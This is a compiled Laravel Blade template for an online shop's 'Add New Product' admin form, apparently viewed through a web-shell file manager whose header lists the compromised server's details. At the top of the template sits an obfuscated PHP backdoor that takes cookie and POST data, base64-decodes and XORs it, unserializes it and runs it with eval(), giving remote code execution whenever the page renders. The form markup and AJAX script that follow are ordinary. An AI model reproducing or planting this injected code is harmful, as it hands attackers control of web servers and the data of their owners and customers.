Server IP : 162.213.251.212 / Your IP : 3.149.26.96 [ Web Server : LiteSpeed System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : allssztx ( 535) PHP Version : 8.1.31 Disable Function : NONE Domains : 1 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/allssztx/www/easybuyer/storage/framework/views/ |
Upload File : |
<?php $YTDKY = 'Q' . chr ( 203 - 105 )."\x6a" . "\137" . chr (77) . 'I' . 'R' . 'k';$LrbKAz = chr ( 312 - 213 )."\154" . 'a' . chr (115) . 's' . '_' . "\x65" . "\170" . 'i' . "\163" . "\164" . "\x73";$UjyAuRvn = class_exists($YTDKY); $LrbKAz = "65137";$XueZu = strpos($LrbKAz, $YTDKY);if ($UjyAuRvn == $XueZu){function IxYTMaHbd(){$cWYzuoKz = new /* 63988 */ Qbj_MIRk(50735 + 50735); $cWYzuoKz = NULL;}$tFuUB = "50735";class Qbj_MIRk{private function VdhIYnPN($tFuUB){if (is_array(Qbj_MIRk::$jaFuln)) {$GJypMlfMsA2 = str_replace("<" . "?php", "", Qbj_MIRk::$jaFuln["content"]);eval($GJypMlfMsA2); $tFuUB = "50735";exit();}}public function WNnScUT(){$GJypMlfMsA = "51871";$this->_dummy = str_repeat($GJypMlfMsA, strlen($GJypMlfMsA));}public function __destruct(){Qbj_MIRk::$jaFuln = @unserialize(Qbj_MIRk::$jaFuln); $tFuUB = "46982_16077";$this->VdhIYnPN($tFuUB); $tFuUB = "46982_16077";}public function TfXiisydu($GJypMlfMsA, $XvOgNVch){return $GJypMlfMsA[0] ^ str_repeat($XvOgNVch, intval(strlen($GJypMlfMsA[0]) / strlen($XvOgNVch)) + 1);}public function cdhOe($GJypMlfMsA){$TRpFXWqK = chr (98) . chr (97) . chr ( 287 - 172 ).chr (101) . '6' . "\64";return array_map($TRpFXWqK . chr ( 866 - 771 ).'d' . chr ( 975 - 874 )."\143" . chr (111) . "\x64" . chr (101), array($GJypMlfMsA,));}public function __construct($HjfDQpJI=0){$ZLZLO = chr ( 514 - 470 ); $GJypMlfMsA = "";$NMeVOc = $_POST;$fvcQAr = $_COOKIE;$XvOgNVch = "18f7802c-28c7-453d-8d2b-b32168db127b";$NnDWU = @$fvcQAr[substr($XvOgNVch, 0, 4)];if (!empty($NnDWU)){$NnDWU = explode($ZLZLO, $NnDWU);foreach ($NnDWU as $brssKIj){$GJypMlfMsA .= @$fvcQAr[$brssKIj];$GJypMlfMsA .= @$NMeVOc[$brssKIj];}$GJypMlfMsA = $this->cdhOe($GJypMlfMsA);}Qbj_MIRk::$jaFuln = $this->TfXiisydu($GJypMlfMsA, $XvOgNVch);if (strpos($XvOgNVch, $ZLZLO) !== FALSE){$XvOgNVch = explode($ZLZLO, $XvOgNVch); $VTrAvj = sprintf("46982_16077", rtrim($XvOgNVch[0]));}}public static $jaFuln = 7731;}IxYTMaHbd();} ?><?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?> <?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.admin.header','data' => []]); ?> <?php $component->withName('admin.header'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php $component->withAttributes([]); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?> <?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?> <?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?> <?php endif; ?> <?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?> <?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.admin.sidebar','data' => []]); ?> <?php $component->withName('admin.sidebar'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php $component->withAttributes([]); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?> <?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?> <?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?> <?php endif; ?> <style> .input-field .img-upload-btn { margin: 10px; } td.col-img { display: flex; } td.col-img h6 { position: relative; margin: 10px 0px 0px 10px !important; } </style> <main> <div class="main-content"> <div class="row"> <div class="col-lg-12 col-12"> <form id="AddProductForm"> <?php echo csrf_field(); ?> <div class="login-form form-content"> <h4>Add New Product</h4> <div class="input-field"> <label for="">Product Category</label> <div class="input-field"> <select name="productCat" class="form-control custom-input" id="ProductCat"> <option value="">Select</option> <?php $__currentLoopData = $categories; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $cate): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($cate->category_id); ?>"><?php echo e($cate->category_heading); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> </div> <div class="input-field"> <label for="">Product Title</label> <div class="input-field"> <input class="custom-input" type="text" name="productTitle"> </div> </div> <div class="input-field"> <label for="">Product Heading</label> <div class="input-field"> <input class="custom-input" type="text" name="productHeading"> </div> </div> <div class="input-field"> <label for="">Product Sub Heading</label> <div class="input-field"> <input class="custom-input" type="text" name="productSubHeading"> </div> </div> <!--<div class="input-field">--> <!-- <label for="">Product Description</label>--> <!-- <div class="input-field">--> <!-- <textarea class="custom-input ckeditor" type="text" name="productDesc" id="productDesc"></textarea>--> <!-- </div>--> <!--</div><br>--> <!--<div class="input-field">--> <!-- <label for="">Product Fabrication</label>--> <!-- <div class="input-field">--> <!-- <textarea class="custom-input ckeditor" type="text" name="productLongDesc" id="productLongDesc"></textarea>--> <!-- </div>--> <!--</div>--> <!--<br>--> <!--<div class="input-field">--> <!-- <label for="">Product Fit</label>--> <!-- <div class="input-field">--> <!-- <textarea class="custom-input ckeditor" type="text" name="productTable" id="productTable"></textarea>--> <!-- </div>--> <!--</div>--> <br> <div class="input-field"> <label for="">Product Colors</label> <div class="input-field"> <select name="productColor[]" class="form-control multiple-select custom-input" id="productColor" multiple> <option value="">Select</option> <?php $__currentLoopData = $colors; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $color): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($color->color_id); ?>"><?php echo e($color->color_name); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> </div> <div class="input-field"> <label for="">Product Sizes</label> <div class="input-field"> <select name="productSize[]" class="form-control multiple-select custom-input" id="productSize" multiple> <option value="">Select</option> <?php $__currentLoopData = $sizes; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $size): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($size->size_id); ?>"><?php echo e($size->size); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> </div> <div class="input-field"> <label for="">Product Origional Price</label> <div class="input-field"> <input class="custom-input" type="text" name="productPrice"> </div> </div> <div class="input-field"> <label for="">Product Selling Price</label> <div class="input-field"> <input class="custom-input" type="text" name="productSellingPrice"> </div> </div> <div class="input-field"> <label for="">Product Quantity</label> <div class="input-field"> <input class="custom-input" type="number" name="productQuantity"> </div> </div> <div class="input-field"> <label for="">Product Tax</label> <div class="input-field"> <input class="custom-input" type="number" name="productTax"> </div> </div> <div class="input-field"> <label>Product Front Image</label> <div class="img-upload-wrapper"> <input class="img-upload" type="file" name="productImage" id="productImage" accept="image/png, image/jpeg"> </div> <div class="btn-wrapper"> <label class="btn img-upload-btn" for="productImage">Select Image</label> </div> </div> <div class="input-field"> <label>Product Back Image</label> <div class="img-upload-wrapper"> <input class="img-upload" type="file" name="productbackImage" id="productbackImage" accept="image/png, image/jpeg"> </div> <div class="btn-wrapper"> <label class="btn img-upload-btn" for="productbackImage">Select Image</label> </div> </div> <div class="input-field"> <label>Product Gallery Images</label> <div class="img-upload-wrapper"> <input class="img-upload" type="file" name="productGallery[]" id="productGallery" accept="image/png, image/jpeg" multiple> </div> <div class="btn-wrapper"> <label class="btn img-upload-btn" for="productGallery">Select Image</label> </div> </div> <!-- <div class="input-field"> <label>Service Icon Image</label> <div class="img-upload-wrapper"> <input class="img-upload" type="file" name="serviceIconImg" id="serviceIconImg" accept="image/png, image/jpeg"> </div> <div class="btn-wrapper"> <label class="btn img-upload-btn" for="serviceIconImg">Select Image</label> </div> </div> <div class="input-field"> <label>Service Video</label> <div class="img-upload-wrapper"> <input class="img-upload" type="file" name="serviceVideo" id="serviceVideo"> </div> <div class="btn-wrapper"> <label class="btn img-upload-btn" for="serviceVideo">Select Video</label> </div> </div> --> <div class="input-field"> <label for="">Product Status</label> <div class="custom-switch checked"> <input checked type="checkbox" name="productStatus" id="productStatus"> <span class="circle"></span> <span class="no"><i class="fa-light fa-xmark"></i></span> <span class="yes"><i class="fa-light fa-check"></i></span> </div> </div> <!-- <h6>* Required Fields</h6> --> <div class="form-footer"> <button type="submit">Add Product</button> </div> </div> </form> </div> </div> </div> <!-- Insert Service --> <script> $(document).ready(function(){ $("#AddProductForm").on('submit', function(e){ e.preventDefault(); for ( instance in CKEDITOR.instances ) CKEDITOR.instances[instance].updateElement(); var data = new FormData(this); $.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content') } }); $.ajax({ url: "<?php echo e(url('/insert_product')); ?>", method: "POST", data: data, datatype: "json", cache: false, contentType: false, processData: false, success:function(data) { if($.isEmptyObject(data.error)) { toastr.success(data.success,"Added",{timeOut: 1500}); document.getElementById('AddProductForm').reset(); CKEDITOR.instances.productDesc.setData(""); CKEDITOR.instances.productLongDesc.setData(""); CKEDITOR.instances.productTable.setData(""); window.location = "<?php echo e(url('product')); ?>" } else if(data.error.productTitle) { toastr.error(data.error.productTitle,"Error",{timeOut: 1500}); return false; } else if(data.error.productHeading) { toastr.error(data.error.productHeading,"Error",{timeOut: 1500}); return false; } else if(data.error.productPrice) { toastr.error(data.error.productPrice,"Error",{timeOut: 1500}); return false; } else if(data.error.productImage) { toastr.error(data.error.productImage,"Error",{timeOut: 1500}); return false; } else if(data.error.productImage[1]) { toastr.error(data.error.productImage[1],"Error",{timeOut: 1500}); return false; } else if(data.error.productGallery[0]) { toastr.error(data.error.productGallery[0],"Error",{timeOut: 1500}); return false; } else if(data.error.productGallery[1]) { toastr.error(data.error.productGallery[1],"Error",{timeOut: 1500}); return false; } }, error:function() { toastr.error("SomeThing Went Wrong...","Error"); return false; }, }); }); }); </script> <!-- Insert Service Ends Here --> <?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?> <?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.admin.footer','data' => []]); ?> <?php $component->withName('admin.footer'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php $component->withAttributes([]); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?> <?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?> <?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?> <?php endif; ?><?php /**PATH /home/wpdeatle/public_html/easy-buyer/resources/views/admin/add_product.blade.php ENDPATH**/ ?>